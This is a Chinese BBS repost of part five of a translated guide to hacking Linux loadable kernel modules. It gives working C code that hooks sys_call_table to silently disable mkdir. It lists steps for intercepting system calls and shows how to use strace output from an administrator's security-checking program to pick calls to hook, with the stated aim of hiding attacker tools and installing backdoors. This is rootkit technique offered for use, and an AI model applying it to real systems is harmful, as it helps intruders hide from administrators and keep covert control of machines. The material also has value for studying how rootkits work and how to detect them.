荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(五)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:22:39 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(五)
发信站: 北大未名站 (2000年11月20日01:13:04 星期一) , 转信

第二部分 渐入佳境

2.1 如何截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然
而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系
统某些命令的响应方式。

下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小
演示。


#define MODULE

#define __KERNEL__


#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>


extern void* sys_call_table[];

/*sys_call_talbe 被引入,所以我们可以存取他*/



int (*orig_mkdir)(const char *path);

/*原始系统调用*/



int hacked_mkdir(const char *path)

{

return 0;

/*其他一切正常,除了新建操作,该操作什么也不做*/


}


int init_module(void)

/*初始化模块*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}


void cleanup_module(void)

/*卸载模块*/

{

sys_call_table[SYS_mkdir]=orig_mkdir;

/*恢复mkdir系统调用到原来的哪个*/

}


编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值
是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了
。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到
系统调用了。


截获系统调用的通常步骤如下:


找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)

保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)



将你自己定义的新的函数指针存入sys_call_table[x]


你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟
原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是:


我到底该截获哪个系统调用?


2.2一些有趣的系统调用


你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了
那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。


读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的
程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b


下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup-
>你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c



一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以
前说过的那样。这时就要看一看包含相关系统调用的头文件。


要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关
系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。例如
你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函
数/内核的源代码。


最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关
于这些程序的问题在于缺乏源代码。我们不能确定这个程序到底是如何工作的以及我们应
该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常
使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑
客技术来保护他们的系统)。


那我们应该如何继续呢?


2.2.1 发现有趣的系统调用(strace方法)
假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得
到,象TTY hijacking(见2.9/appendix a),现在唯一的问题是你需要让你的礼物躲过系
统管理员的程序直到.....)。


好,现在用strace来运行这个程序(也许你需要root权限来执行他)


# strace super_admin_proggy


这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加
入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可
以看看’strace whoami‘的输出:


execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000
7000

mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

open("/etc/ld.so.cache", O_RDONLY)   = 3

mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

close(3)                = 0

stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)


open("/lib/libc.so.5", O_RDONLY)    = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096

mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0
x4000c000

mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x8100
0) = 0x4008e000

mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONY
MOUS, -1, 0) = 0x40094000

close(3)                = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

munmap(0x40008000, 13363)       = 0

mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)         = 0

geteuid()               = 500

getuid()                = 500

getgid()                = 100

getegid()               = 100

brk(0x804aa48)             = 0x804aa48

brk(0x804b000)             = 0x804b000

open("/usr/share/locale/locale.alias", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000
8000

read(3, "# Locale name alias data base\n#"..., 4096) = 2005

brk(0x804c000)             = 0x804c000

read(3, "", 4096)           = 0

close(3)                = 0

munmap(0x40008000, 4096)        = 0

open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or di
rectory)

open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

close(3)                = 0

geteuid()               = 500

open("/etc/passwd", O_RDONLY)     = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000
b000

read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074

close(3)                = 0

munmap(0x4000b000, 4096)        = 0

fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000
b000

write(1, "r00t\n", 5r00t

)         = 5

_exit(0)                = ?


这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制
’whoami‘的输出需要拦截4个系统调用


geteuid()               = 500

getuid()                = 500

getgid()                = 100

getegid()               = 100


可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十
分重要的。


我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做
的事情的系统调用.




--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店